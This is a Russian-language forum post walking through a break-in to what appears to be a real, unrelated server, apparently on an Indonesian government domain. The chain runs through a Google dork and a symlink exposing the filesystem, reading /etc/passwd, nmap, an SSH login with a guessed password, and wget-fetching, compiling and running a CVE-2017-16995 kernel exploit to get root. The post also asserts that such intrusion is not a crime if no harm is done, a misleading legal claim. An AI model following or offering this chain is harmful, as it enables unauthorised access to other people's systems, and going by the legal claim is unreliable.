Получение прав суперпользователя на рандомном сайте

MAREK11

Интересующийся
Регистрация
29/1/22
Сообщения
85
Репутация
20
Реакции
145
RUB
0
Для обычного пользователя, Google — это просто поисковая система, используемая для поиска текста, изображений, видео и новостей. Однако, возможности данной поисковой системы огромные, чем может показаться на самом деле, в том числе поиск уязвимых веб-сайтов.

Публикация этого материала на примере данного сайта не нанесёт ему никакого вреда, т.к. данная уязвимость была устранена. Публикация выступает лишь как наглядное выполнение курсового задания. Если вам удалось выявить уязвимость какого-либо ресурса, и даже получить права суперпользователя, при этом не нанеся коммерческого либо некоммерческого вреда, не преследуя корыстных целей без прямого умысла, и без нарушения работоспособности системы и оборудования не будет расценено как преступление. Однако каждый случай уникален, например не стоит проводить подобные тесты на государственных ресурсах.

Y-1u5LXuLDg.jpg


Google Dork, также известный как Google Dorking или Google Hacking, является ценным ресурсом для исследователей безопасности. Он содержит собственный встроенный язык запросов, так называемые "Операторы Google Dork".

Оператор "inurl:" используется для получения результатов, URL-адрес которых содержит только одно ключевое слово, например, inurl: admin

С помощью Google Dork и оператора inurl: /proc/self/cwd был обнаружен этот сайт, который содержал , ведущая прямо в корневой каталог сервера. Данная уязвимость заключается в том, что в каталоге сайта содержится символическая ссылка (symlink), которая ведёт в сам корневой каталог (/).

yKA9q_0qVBU.jpg

2zEdxV-Zi5M.jpg


Получение информации о пользователях Linux

Итак, как только мы зашли в корневой каталог сервера, необходимо узнать информацию о пользователях, которые существуют в системе. Они содержаться по пути /etc/passwd и /etc/shadow. Нам нужен файл passwd, так как файл shadow попросту недоступен для обычного пользователя.

9WGRVZKeOrA.jpg

1Bpj0MjDxdw.jpg

2TKmpeT9RlA.jpg

Имена обычных пользователей могут начинаться с идентификатора 1000. Пользователь kajari именно тот, кто нам нужен.

Проверка на наличие открытого порта сервиса OpenSSH

С помощью инструмента Nmap просканируем сервер на наличие открытых портов.

Открываем любой терминал (можно даже Termux) и пишем следующую команду:

$ nmap site.go.id

Получаем вывод:

CFXYky869A8.jpg

Как видим, порт 22 открыт и сервис OpenSSH запущен.

Вход по SSH

Подключимся к серверу по SSH от имени kajari:

$ ssh site.go.id

Не долго думая, попытаемся ввести банальный пароль, а именно самого имя пользователя (kajari) и-и...

W0tZ6mLlRSs.jpg


Вуаля! Мы вошли! Конечно, это ещё далеко не финал. Нам же надо получить root доступ.

Так как версия Ubuntu и ядро Linux старый воспользуемся скриптом "Linux Exploit Suggester" из GitHub. Он позволяет обнаружить проблемы с безопасностью машины с ядром Linux, а так же предоставляет ссылки на эксплоиты для данных уязвимостей.

Скачивание скрипта и поиск уязвимостей

Скачиваем и запускаем скрипт следующими командами:

$ wget -O search.sh
$ chmod +x search.sh
$ ./search.sh

Vm2nW9YvooA.jpg


Скрипт вывел список с 4-мя уязвимостями. Более вероятная уязвимость — это CVE-2017-16995, именно ею и воспользуемся.

Скачивание, компиляция и запуск эксплоита

Из информации об уязвимости скачиваем эксплоит по ссылке, которая указана в "Download URL":

$ wget -O exploit_code.c

С помощью компилятора GCC скомпилируем эксплоит в исполняемый файл:

$ gcc -o exploit exploit_code.c

И запускаем:

$ chmod +x exploit
$ ./exploit

5LjMZnrHBac.jpg


Поздравляем! Мы получили root доступ! Об этом свидетельствует вывод команды whoami и приглашение к вводу (#).
 
Сверху Снизу